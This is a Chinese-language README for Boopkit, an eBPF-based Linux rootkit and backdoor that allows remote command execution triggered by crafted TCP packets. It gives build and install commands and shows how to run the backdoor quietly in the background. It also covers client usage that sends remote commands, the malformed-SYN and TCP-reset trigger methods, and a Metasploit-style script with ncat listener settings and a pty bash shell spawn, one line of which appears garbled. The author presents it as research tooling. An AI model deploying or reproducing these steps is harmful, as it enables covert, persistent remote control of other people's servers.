================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
作者: Kris Nóva <[email protected]> 版本 1.4.0
在任何情况下,版权所有者或贡献者均不对任何直接、间接、附带、特殊、
惩罚性或后果性损害承担责任。
请勿尝试使用这些工具违反法律。
作者不对任何违法行为负责。
滥用本软件、信息或源代码可能导致刑事指控。
使用风险自负。
================================================================
Boopkit.
Linux rootkit 和后门。基于 eBPF 构建。
用法:
boopkit [选项]
选项:
-h, help 显示 boopkit 的帮助和用法。
-i, interface 接口名称。lo、eth0、wlan0 等
-s, sudo-bypass 绕过 sudo 检查。会破坏 PID 混淆。
-r, reverse-conn 如果未找到载荷,尝试反向 RCE 查询。
-q, quiet 禁用输出。
-x, reject 拒绝触发源的源地址。
Linux 后门、rootkit 和 eBPF 绕过工具。 通过原始 TCP 实现远程命令执行。
这不是漏洞利用!需要事先在服务器上拥有特权访问权限才能工作! 我是一名专业的安全研究员。这些是仅用于研究目的的白帽工具。 请负责任地使用。切勿非法使用本软件。

下载并构建 boopkit。
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
在前台运行 boopkit。
# 拒绝所有来自本地主机和 10.0.0.1 的触发
boopkit -x 127.0.0.1 -x 10.0.0.1
在静默模式下后台运行 boopkit。
# 危险!这可能非常难以停止!请自行承担风险运行!
boopkit -q &
现在 boopkit 正在运行,可以使用客户端 boopkit-boop 命令行工具进行利用。
下载并构建 boopkit。
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
对服务器运行 boopkit-boop。
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit 将响应网络上的各种事件。两者均可通过 boopkit-boop 工具触发。
TCP 头部格式。摘自 RFC 793。1981 年 9 月
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 源端口 | 目标端口 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 序列号 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 确认号 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 数据 | 保留位 |U|A|P|R|S|F| |
| 偏移 | |R|C|S|S|Y|I| 窗口 |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 校验和 | 紧急指针 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 选项 | 填充 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ 数据 }
{ .... }
{ 数据 }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
首先,boopkit-boop 工具将通过 SOCK_RAW 套接字向服务器发送一个带有空校验和的畸形 TCP SYN 包。这将触发远程的 boopkit,无论服务器运行何种 TCP 服务。此方法适用于任何运行 boopkit 的 Linux 服务器,无论 TCP 服务的状态如何。
使用 boopkit-boop 的 -p 选项仅使用此第一个向量。
⚠️ 某些现代网络硬件会丢弃所有畸形校验和的数据包,例如利用此向量利用 boopkit 所需的数据包!
接下来,boopkit-boop 工具将通过 SOCK_STREAM 套接字与远程 TCP 服务(如 SSH、Kubernetes、Nginx 等)完成一次有效的 TCP 握手。初始 TCP 握手完成后,boopkit-boop 将重复该过程第二次。
第二次握手将翻转数据包中的 TCP 重置标志,触发服务器上的 TCP 重置。
这两种策略中的任何一种都足以独立触发 boopkit。 不同的网络硬件和运行时条件会使其中一种策略更可行。 Boopkit 默认会尝试这两种策略,并对两者做出响应。
boopscript 文件是一个 Metasploit 兼容的脚本,可用于在远程 Linux 机器上安装 boopkit-boop 后远程触发 boopkit 后门。
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
感谢原作者提供有用的代码示例!本项目大量借鉴了他们的代码!```